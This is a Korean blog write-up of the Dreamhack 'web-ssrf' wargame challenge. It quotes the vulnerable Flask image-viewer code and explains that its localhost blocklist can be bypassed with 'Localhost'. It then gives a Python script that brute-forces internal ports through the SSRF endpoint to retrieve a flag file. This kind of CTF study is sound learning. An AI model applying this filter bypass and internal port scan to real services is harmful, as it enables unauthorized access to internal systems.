[웹해킹] web-ssrf

Woo·2025년 1월 25일

워게임(웹해킹)

목록 보기
13/14

📖 문제

https://dreamhack.io/wargame/challenges/75


📖 분석

이 문제는 SSRF 취약점을 이용해 /app/flag.txt에 있는 플래그를 획득하는 문제이다.

📗 / 페이지

url이라는 곳을 보면 이미지를 올릴 수 있는 텍스트 입력 창이 나온다.
저기서 바로 View 버튼을 클릭해보면

다음과 같이 드림핵 로고 이미지가 나오게 된다.

@app.route("/img_viewer", methods=["GET", "POST"])
def img_viewer():
    if request.method == "GET":
        return render_template("img_viewer.html")
    elif request.method == "POST":
        url = request.form.get("url", "")
        urlp = urlparse(url)
        if url[0] == "/":
            url = "http://localhost:8000" + url
        elif ("localhost" in urlp.netloc) or ("127.0.0.1" in urlp.netloc):
            data = open("error.png", "rb").read()
            img = base64.b64encode(data).decode("utf8")
            return render_template("img_viewer.html", img=img)
        try:
            data = requests.get(url, timeout=3).content
            img = base64.b64encode(data).decode("utf8")
        except:
            data = open("error.png", "rb").read()
            img = base64.b64encode(data).decode("utf8")
        return render_template("img_viewer.html", img=img)

GET 요청으로 사이트의 html을 불러온다.
POST 요청으로 url을 입력받는다.
만약 입력받은 url의 시작이 /으로 시작하지 않고, localhost, 127.0.0.1가 들어있으면 error.png 이미지를 화면에 띄운다.

/으로 시작한다면 url에 로컬호스트:8000/url으로 저장한다.
그 후, url에 있는 것을 받아와서 base64로 인코딩하고 utf8로 디코딩하여 화면에 띄운다.
만약 실패하였다면 error.png을 화면에 띄운다.

📘 app.py

local_host = "127.0.0.1"
local_port = random.randint(1500, 1800)
local_server = http.server.HTTPServer(
    (local_host, local_port), http.server.SimpleHTTPRequestHandler
)


def run_local_server():
    local_server.serve_forever()


threading._start_new_thread(run_local_server, ())

1500번부터 1800번까지 임의의 포트를 지정하여 127.0.0.1:임의포트의 서버를 만든다.
쓰레드에서 만든 임의포트의 서버를 실행시킨다.


📖 풀이

해당 문제는 img_viewer는 서버 주소에 “127.0.0.1”, “localhost”이 포함된 URL로의 접근을 막는다. 이를 우회하면 SSRF를 통해 내부 HTTP 서버에 접근할 수 있다.

우회하기 위해서는 위에서 만든 서버의 포트 번호를 찾아내야한다. 1500번부터 1800번까지 랜덤으로 주어지므로 파이썬 스크립트를 만들어 포트를 찾는다.

추가적으로 localhost, 127.0.0.1을 사용못하게 막아놨지만 Localhost로 간단하게 우회할 수 있다.

import requests

for i in range(1500,1800):
    data={"url": f"http://Localhost:"+str(i)+"/flag.txt"}
    request=requests.post("http://host1.dreamhack.games:17163/img_viewer",data).text
    if "iVBORw0KGgoAA" in request:
        print(i)
    else:
        print("포트:",{i})
        print(request)
        break

위의 코드를 사용해서 부르트포스하여 포트 번호를 알아낸다.
위 코드는 1500번 부터 1800번까지의 포트를 순차적으로 돌아 error.png가 아닌 아닌걸 post하면 그만돌고 그 결과를 내놓는 스크립트이다.

출력된 값중 base64로 인코딩된 텍스트를 찾아 디코더로 변환하면 플래그를 획득할 수 있다.

profile
다덤벼

0개의 댓글